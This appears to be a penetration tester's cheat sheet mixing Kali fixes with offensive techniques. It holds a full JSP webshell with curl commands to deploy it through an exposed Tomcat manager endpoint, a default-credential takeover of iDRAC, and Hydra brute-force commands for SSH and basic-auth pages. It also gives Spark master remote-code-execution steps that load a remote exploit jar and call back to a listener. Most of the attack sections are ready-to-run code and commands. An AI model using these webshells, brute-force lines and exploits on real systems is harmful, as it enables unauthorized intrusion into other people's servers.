https://community.spiceworks.com/topic/2110904-kali-linux-expired-signature
Fix Burpsuite in Kali
Burp does not presently (8/3/2018 is when I'm writing this) support Java 10, which is the default java on Kali at this point in time. To fix this, simply run update-alternatives --config java
and then select the number that corresponds to /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java
from the menu.
Mount NFS share
Show available shares:
showmount -e target.system
Make a directory to house to contents of the share locally:
mkdir /tmp/target.system
Mount the NFS share locally:
mount -t nfs target.system:/mount/path /tmp/target.system
Dismount the NFS share:
umount -f -l /tmp/target.system
Tools
Code can be found here to list mounts and review their contents:
https://gist.github.com/l50/0b71356292f2955edb33b8df42ed5c46
Resource: https://resources.infosecinstitute.com/exploiting-nfs-share/#grefpulliun
RCE with vulnerable endpoint in Apache Tomcat
If the /manager/text/deploy endpoint is exposed on an Apache Tomcat site, you can do the following to get a shell:
# Create a malicious webshell, index.jsp:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
# Turn it into a war file:
jar -cvf webshell.war index.jsp
# Upload it:
curl --upload-file webshell.war "https://insecure.site.com/manager/text/deploy?path=/evil"
# Access the webshell:
https://insecure.site.com/evil/index.jsp
You can also get a file upload page going as well with the war file from here. Follow the steps above to deploy it, and find the file upload page at /UploadServlet30/upload.jsp.
Once you're finished, you can also remove the webshell with the following command:
curl "https://insecure.site/manager/text/undeploy?path=/evil"
Resources:
- https://pentesterlab.com/exercises/cve-2007-1860/course
- https://gist.github.com/pete911/6111816
- https://tomcat.apache.org/tomcat-7.0-doc/manager-howto.html
- https://stackoverflow.com/questions/4432684/tomcat-manager-remote-deploy-script
- https://www.codejava.net/java-ee/servlet/java-file-upload-example-with-servlet-30-api
Fix hash mismatch issue when trying to install a package in Kali
Try another mirror from the official mirror list.
Replace the existing entry in /etc/apt/sources.list
with this:
deb http://mirrors.ocf.berkeley.edu/kali kali-rolling main non-free contrib
IDRAC to shell
Try logging into the web console with root
/calvin
.
If this works, go to the Virtual Console and:
- Change Plug-in Type to HTML5
- Change Default action upon session sharing request timeout to Full access
- Click Apply
- Then click Launch Virtual Console
If you are not able to login because there are existing sessions, you can kill them by doing the following:
- Click the plus sign next to iDRAC Settings
- Click Sessions
- Click the trash can icon next to the existing sessions
Once this is done, try logging in via the Virtual Console.
Brute force
SSH with Hydra
hydra ssh://192.168.1.1 -v -L users.txt -t 4 -P 10-million-password-list-top-10000.txt
Basic auth page with Hydra
hydra -V -L <list with usernames to try> -P <list with passwords to try> <target site> http-get /<path to page with auth>
Start ASDM via CLI
javaws https://target:8443/admin/public/asdm.jnlp
Resource: https://community.cisco.com/t5/network-security/start-asdm-from-command-line/td-p/1593342
Rogue LDAP server
This is very useful if you have an LDAP hookup that you're looking to extract credentials from, and nc -lvp 389
isn't working out.
Responder is also supposed to be able to do this, but I haven't had much luck with it.
https://www.devilsec.io/2019/04/29/hacking-printers-for-profit/
Spark
If you find a spark master belonging to your target that's externally exposed, you might have RCE.
Exploitation via 7077
To start, stand up a box that will serve as a listener.
Next, clone this repo and run docker-compose up -d
.
Next copy the bin folder that is generated in the docker container to your host system. This should have utilities such as spark-submit
in it.
Next, run this command:
./bin/spark-submit --master spark://hostname:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar 'wget listenerbox:portoobserviceison'
Exploitation via 6066
Set up a listener on a system you control:
python -m SimpleHTTPServer 9999
Create submit.sh
:
#!/bin/bash
target=$1
version=$2
jar_url=$3
jar_args=$4
curl -X POST http://${target}/v1/submissions/create \
--header "Content-Type:application/json;charset=UTF-8" \
--data @<(cat <<EOF
{
"action": "CreateSubmissionRequest",
"clientSparkVersion": "${version}",
"appArgs": [
"${jar_args}"
],
"appResource": "${jar_url}",
"environmentVariables": {
"SPARK_ENV_LOADED": "1"
},
"mainClass": "Exploit",
"sparkProperties": {
"spark.jars": "${jar_url}",
"spark.driver.supervise": "false",
"spark.app.name": "Exploit",
"spark.eventLog.enabled": "true",
"spark.submit.deployMode": "cluster",
"spark.master": "spark://${target}"
}
}
EOF
)
Next, run the following command:
bash submit.sh sparkmaster:6066 <spark version - i.e. 2.2.0> https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar "wget <ip of system running the listener>:9999"
Create a salted password hash for /etc/shadow
Run the following to generate the hash on your linux machine:
python3 -c 'import crypt; print(crypt.crypt("sickpasswordbro!", crypt.mksalt(crypt.METHOD_SHA512)))'
Resource: https://serverfault.com/questions/330069/how-to-create-an-sha-512-hashed-password-for-shadow